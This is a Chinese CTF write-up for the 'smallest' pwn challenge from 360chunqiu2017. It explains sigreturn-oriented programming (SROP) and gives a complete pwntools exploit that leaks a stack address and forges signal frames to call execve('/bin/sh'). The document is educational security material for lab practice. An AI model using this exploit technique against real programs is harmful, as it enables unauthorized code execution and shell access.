-
-
[原创]【360chunqiu2017】smallest
-
2022-4-28 18:48 13110
-
SROP
基于sigreturn的系统调用的rop利用手段
signal机制是linux系统下的软中断,大概如下图
主要目的是为了保存进程的信息,以便于恢复。有点类似学习递归的时候教练喊的恢复现场
我们利用的主要是3,4过程,即恢复过程
以X86为例(因为X64放不下)
恢复过程主要是pop一系列的寄存器:
好家伙还挺齐全
恢复过程主要是把signalframe上的这些东西pop进去,那如果我们能够伪造,岂不是可以控制寄存器?!美汁汁儿~
由于恢复过程没有严格检查,它甚至没有检查这个signalframe(栈上保存进程信息的那段空间)和之前的是不是同一个,所以我们可以伪造signalframe,通过系统调用sigreturn来控制寄存器
题解
保护
好家伙,《简单题》
ida
开局一个read,其它系统调用全靠硬整
思路
我们最后的目的肯定是调用system或者execve的系统调用(因为这题甚至没给libc文件,就只能考虑系统调用了,没开沙箱用orw纯纯的自己找麻烦)
那么肯定是需要控制寄存器的,main里连个rdx都没有,所以考虑用sigreturn的系统调用控制寄存器
然后还需要知道栈地址,因为需要往sigreturn里面的rdi放'/bin/sh'的地址
泄露栈地址就需要write的系统调用,我们发现read的返回值是读入的字节数,那么如果我们可以让它读1个字节,并且返回到”xor rax,rax“的下一位,那么就可以调用write了。巧就巧在这两个可以同时进行,我们直接读两个函数的起始地址,然后第二次send”xor rax,rax“的下一位地址的低字节,正好就可系统调用write了。
这题还须通过read字符来系统调用sigreturn,也非常巧,基本上是这样:
对于第一次read,send start + ’a‘*8 + fake_sigframe
此时rsp的地址是start,read完后会ret start继续下一次read
这次read send syscall_ret + 'a'*7,即可完成sigreturn的系统调用
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import * from LibcSearcher import * from pwnlib.util.iters import mbruteforce from hashlib import sha256 import base64 context.log_level = 'debug' ##context.terminal = ["tmux", "splitw", "-h"] context.arch = 'amd64' context.os = 'linux' def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r = remote("chuj.top", 51904) ##proof_of_work(r) start = 0x4000B0 syscall_ret = 0x4000be r = process( './smallest' ) def z(): gdb.attach(r) ## primary_set pd = p64(start) * 3 r.send(pd) ## leak_stack r.send( '\xb3' ) r.recv( 8 ) stack = u64(r.recv( 8 )) log.success( 'stack:' + hex (stack)) ## sigret_syscall_read sig = SigreturnFrame() sig.rax = constants.SYS_read sig.rdi = 0 sig.rsi = stack sig.rdx = 0x400 sig.rsp = stack sig.rip = syscall_ret ##link the syscall of read pd = p64(start) + 'a' * 8 + str (sig) r.send(pd) pd = p64(syscall_ret) + 'a' * 7 z() r.send(pd) sleep( 1000 ) sig = SigreturnFrame() sig.rax = constants.SYS_execve sig.rdi = stack + 0x120 sig.rsi = 0 sig.rdx = 0 sig.rsp = stack sig.rip = syscall_ret ##link the syscall of execve pd = p64(start) + 'b' * 8 + str (sig) l = len (pd) pd + = ( 0x120 - l) * '\x00' + '/bin/sh\x00' r.send(pd) pd = p64(syscall_ret) + 'b' * 7 r.send(pd) r.interactive() |
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。